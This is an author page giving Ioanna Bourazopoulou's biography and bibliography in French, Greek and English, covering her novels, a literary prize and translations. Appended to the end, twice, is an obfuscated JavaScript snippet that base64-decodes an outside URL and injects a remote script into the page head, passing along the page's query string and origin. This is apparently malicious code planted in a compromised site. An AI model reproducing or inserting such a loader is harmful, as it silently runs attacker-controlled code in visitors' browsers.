Littérature : Ioànna Bourazopoùlou

Ioànna Bourazopoùlou, née à Athènes en 1968, a étudié la gestion hôtelière et la gestion publique en Grèce et en Angleterre.
Elle écrit surtout des romans et du théâtre. Elle a publié des nouvelles et des articles dans la presse quotidienne et périodique ainsi que dans des revues littéraires grecques.

 

Bibliographie:

• Le boudoir de Nadir (2003), edts Kastaniotis.

• L’eau secrète (2005), edts Kastaniotis.

• Qu’a-t-elle vu, la femme de Lot ? (2007), edts Kastaniotis.   Prix d’Athènes pour la littérature 2008. 
En français : Qu’a-t-elle vu, la femme de Lot ? (2011), trad. Michel Volkovitch, edts Ginkgo.
En anglais : What Lot’s wife saw (2013), trad. Yiannis Panas, edts Black and White. 

• Coupable innocence (2011), edts Kastaniotis.

• Le voyage des trolls (2009), conte pour enfants, edts Kastaniotis.

Η Ιωάννα Μπουραζοπούλου γεννήθηκε στην Αθήνα το 1968. Σπούδασε Διοίκηση Ξενοδοχείων και Δημόσια Διοίκηση στην Ελλάδα και την Αγγλία.
Συγγράφει κυρίως μυθιστορήματα και θεατρικά έργα. Διηγήματα και άρθρα της έχουν δημοσιευθεί στον ημερήσιο και περιοδικό τύπο, καθώς και σε λογοτεχνικά έντυπα της Ελλάδας.

 

Κυκλοφορούν στα ελληνικά τα μυθιστορήματα:

·         «Το Μπουντουάρ του Ναδίρ» (2003) Εκδόσεις Καστανιώτη

·         «Το Μυστικό Νερό» (2005) Εκδόσεις Καστανιώτη

·         «Τι είδε η Γυναίκα του Λωτ;» (2007) Εκδόσεις Καστανιώτη.
Βραβευμένο με το Athens Prize for Literature 2008 του Περιοδικού ΔΕΚΑΤΑ.
Κυκλοφορεί στα Γαλλικά από το 2011, σε μετάφραση Michel Volkovitch Εκδόσεις GINKGO και
στα Αγγλικά από τον Ιούνιο του 2013, σε μετάφραση Yiannis Panas, Εκδόσεις BLACK & WHITE.

·         «Η Ενοχή της Αθωότητας» (2011) Εκδόσεις Καστανιώτη.  

·         Το παιδικό παραμύθι «Το ταξίδι των τρολ» (2009) Εκδόσεις Καστανιώτη

 

 

Ioanna Bourazopoulou was born in Athens in 1968. She studied hotel Management and Public Administration in Greece and the UK. She is a novelist and a play writer. Short storied and articles of hers are published in Greek newspapers, magazines and literary magazines.

 

Bibliography:

·         ‘The Boudoir of Nadir’, (2003), published in Greek by KASTANIOTIS EDITIONS.

·         ‘The Secret Water’ (2005), published in Greek by KASTANIOTIS EDITIONS.

‘What Lot’s Wife Saw’ (2007), published in Greek by KASTANIOTIS EDITIONS.

Awarded the Athens Prize for Literature 2008. Published in French (2011), “Qu’a-t-elle vu, la femme de Loth?” by GINKGO,

translated by Michel Volkovitch. Published in English (2013)

“What Lot’s Wife Saw” by BLACK AND WHITE, translated by Yiannis Panas.

·         ‘The guilt of innocence’ (2011), published in Greek by KASTANIOTIS EDITIONS.

·         And a book for children, ‘The journey of the trolls’, (2009) published in Greek by KASTANIOTIS EDITIONS.

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();